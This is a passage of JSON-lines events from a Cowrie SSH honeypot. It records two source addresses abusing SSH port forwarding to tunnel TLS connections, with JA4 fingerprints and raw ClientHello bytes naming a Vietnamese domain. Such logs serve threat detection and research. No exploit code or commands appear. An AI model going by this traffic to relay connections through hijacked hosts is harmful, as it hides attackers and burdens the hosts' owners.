no-cache\\r\\n\\r\\n_=QUFnRmpzUG1MdH43MSQhdQ%3D%3Da47jmSPqVv1Vu9yCbAkRpA6oNMm5y8dUZasiOSs20i0HI7uMUgM0gtN5Faj1hbyZAr0L0O1YqAo8YwUZSqcuN6NWLv09O2c89Sl86DtWAkkB9AHTkI0VbX6anBaa63Xb%2BWqe3MOw3GfK2u76liuLyHCQkFTGanpfMPZD7bDCgfn1wsFWDmQHlU5iCFM91mjc0F7DUMc5gIhlPxGtQ1PRU%2B4B7AlX4XXWevgec4kz6fYgvqoRBIoomrefoa1x%2FseAduEoDad9Py%2B3uBScEt5vqNeMIw3KqKhUDomqA8qOSYlUTz5%2FU4KXydzL8dlUqz%2BdoDN4ddSSGTbdisAewghMmTyDKMHeoeQhUrL%2F0v4QbIEP6ldkDE2qpiydeSKWsvGEyrLnZIyGfwOK4SzRLfNLe8D5kupzQllMsm%2BXFidV5yq01oqHKFiLA%2FL5QzliANPJK0Pf6pyu3Iv90lL4t0KHKbQBLYzN6ZNaedNGwTB0h4gK6KP1rrXlBk5JXPPnPwpaRwP1lyh94W3oxZa0e4C8tFfIXJmv%2F4J7tYJImMhbCDtgNbs1E4DLFJbbSQYXe9Q7sJ75ZGlOB06n65EpQqwC8BgAbws08wwJtJ5SWz0IhyZ2bpa9EgqHhTOU%2B7%2BvTik%2BWrEC4Hlyi9xdOSf4DdPXovk0EAktnnOF%2BsdAHBFSCLiZP9RMg6Yn%2BPX2T0LV4yogfh7ujJMzYIjSLVKDYRPVGjuyrJFq9qSShXmnRT15kDb%2BJklRPgpOQ9d1vKFd3wuTsUpeuapOGxMlsbVPVFEGHgKYTVIyzPnu9giCB5MbEsrndSHyUknJnKmsCwqwBBdijDFVMK%2B2iNZr03UTZy5oHj9JagdldQWgEWEQUhwfJF9DEHzfVVlRZe2G1f1akjGfj2j8NsW%2Bl0w3%2BMnwPu8%2FVdDkUqP%2F71ExusUZgDAKcM%2BEF0zrgr6IPb1YvWkkYHL3RWCvcr0jIxQW4OYAEFCXNLf%2FU%2Frp85EszwzbiJk3r3FHTbvTHLFXxoO%2FRFYrsI7MeHIXwIqDU%2FFL%2FwKG9cGADj2EKpwFaErk4OWQg%2BqJYmhut%2BxyWXKsV0UePy6tvAaE'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:50.907536Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:51.164921Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\xf3\\x995\\xa5t\\xa2|R\\x83U\\x90\\xad\\xce\\xaa7\\xba\\x95[W\\xbb\\tN\\xa6\\xba\\xa1uB<\\xf7\\xbe\\x92 &\\xb9B\\xe0\\xa2\\xa5\\xee^\\xe2\\x9b$\\x12\\xc9\\xed\\xd3BY\\xa0\\xb43\\x10\\x04J\\x11b\\xaf&fT\\xfd\\xdc\\x10\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ^i\\xb0\\x1c\\xd3\\xe8J\\xd7\\x02\\xac\\xc4\\xbd\\xcf6\\xd2\\xa8u\\x92\\xf6\\xe9W\\xb1q\\xaa\\xb8\\xa9\\xe7\\xa9\\x94\\xc0\\xefK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\xf3\\x995\\xa5t\\xa2|R\\x83U\\x90\\xad\\xce\\xaa7\\xba\\x95[W\\xbb\\tN\\xa6\\xba\\xa1uB<\\xf7\\xbe\\x92 &\\xb9B\\xe0\\xa2\\xa5\\xee^\\xe2\\x9b$\\x12\\xc9\\xed\\xd3BY\\xa0\\xb43\\x10\\x04J\\x11b\\xaf&fT\\xfd\\xdc\\x10\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ^i\\xb0\\x1c\\xd3\\xe8J\\xd7\\x02\\xac\\xc4\\xbd\\xcf6\\xd2\\xa8u\\x92\\xf6\\xe9W\\xb1q\\xaa\\xb8\\xa9\\xe7\\xa9\\x94\\xc0\\xefK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:51.168762Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:51.687956Z","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:51.955224Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x7f\\x96\\xb9\\x93\\x8eH\\xc0\\x8d\\x95\\xeeF%\\xba\\x0b\\xa96$\\x89\\x8b rs_Z|\\xd0\\xa8c\\xd0\\x04L\\xf0 \\x83|\\x8f\\x15\\xea\\xe7\\xa6\\xe6|\\xf7\\x11\\xc6$g\\xe9,\\xcfTW\\xe1\\xabO\\'!X#\\x83\\x19a\\xa5\\x83\\xdf\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 Yk\\x18x\\xcb!R6\\xb9\\x90\\x0c\\xe1\\xcd\\x94\\xeb}\\xb6\\xe4\\xac\\x8b k\\xc5\\xa8\\xb6\\x92\\xe7ZW\\xbb,\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x7f\\x96\\xb9\\x93\\x8eH\\xc0\\x8d\\x95\\xeeF%\\xba\\x0b\\xa96$\\x89\\x8b rs_Z|\\xd0\\xa8c\\xd0\\x04L\\xf0 \\x83|\\x8f\\x15\\xea\\xe7\\xa6\\xe6|\\xf7\\x11\\xc6$g\\xe9,\\xcfTW\\xe1\\xabO\\'!X#\\x83\\x19a\\xa5\\x83\\xdf\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 Yk\\x18x\\xcb!R6\\xb9\\x90\\x0c\\xe1\\xcd\\x94\\xeb}\\xb6\\xe4\\xac\\x8b k\\xc5\\xa8\\xb6\\x92\\xe7ZW\\xbb,\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:51.958562Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.308254Z","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.321255Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd9\\xa0\\xfd\\xa3\\x91\\xf4\\x0e\\xaaU\\xfd\\x99\\x9f\\xc3\\xa5\\x10\\xf5]\\x9b\\x9c*\\xea\\xda\\xe0?t\\x876\\xce\\x1d\\x85\\x0e\\x80 \\xb1\\xf5T\\xa0\\x97O\\x8b\\x96\\xf1\\x11-\\xb0\\x7f)\\x9b\\xd3\\x17\\xee\\x05\\xc0\\xa5w{(Q\\xa9\\xb4\\xcbx\\xc2\\xf4\\x14\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xadXA\\x16.p\\x15YW(\\xac\\x11\"\\xbe4\\x0egA5\\x85U\\xfe_\\x8a`QQ\\xee\\x91\\xe1 O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd9\\xa0\\xfd\\xa3\\x91\\xf4\\x0e\\xaaU\\xfd\\x99\\x9f\\xc3\\xa5\\x10\\xf5]\\x9b\\x9c*\\xea\\xda\\xe0?t\\x876\\xce\\x1d\\x85\\x0e\\x80 \\xb1\\xf5T\\xa0\\x97O\\x8b\\x96\\xf1\\x11-\\xb0\\x7f)\\x9b\\xd3\\x17\\xee\\x05\\xc0\\xa5w{(Q\\xa9\\xb4\\xcbx\\xc2\\xf4\\x14\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xadXA\\x16.p\\x15YW(\\xac\\x11\"\\xbe4\\x0egA5\\x85U\\xfe_\\x8a`QQ\\xee\\x91\\xe1 O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.324359Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.340584Z","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.355875Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
